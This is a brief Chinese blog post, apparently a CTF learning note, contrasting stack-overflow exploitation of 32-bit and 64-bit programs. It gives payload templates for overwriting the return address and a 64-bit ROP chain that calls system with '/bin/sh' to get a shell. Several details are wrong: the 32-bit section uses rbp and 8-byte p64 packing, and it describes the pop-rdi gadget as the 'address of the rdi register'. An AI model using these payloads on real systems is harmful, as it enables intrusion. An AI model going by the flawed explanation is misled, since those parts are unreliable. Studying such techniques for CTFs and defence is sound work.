三十二位程序和六十四位程序栈溢出利用的区别

三十二位程序

三十二位程序直接利用栈进行传参

执行流:

padding = 输入函数与rbp的地址差 + 4
4为rbp所占内存空间的大小
return_addr = 执行函数的首地址
payload = b"a" * padding + p64(return_addr)

六十四位程序

六十四位程序会利用寄存器进行传参

下面的执行流示例以ROP(返回定向编程)进行举例,设system函数首地址为system_addr,/bin/sh的首地址为binsh_addr

执行流:

padding = 输入函数与rbp的地址差 + 8
8为rbp所占内存空间的大小
rdi_ret = rdi寄存器的地址
payload = b"a" * padding + p64(rdi_ret) + p64(binsh_addr) + p64(system_addr)
posted @ 2025-06-22 12:58  _F1ow  阅读(30)  评论(0)    收藏  举报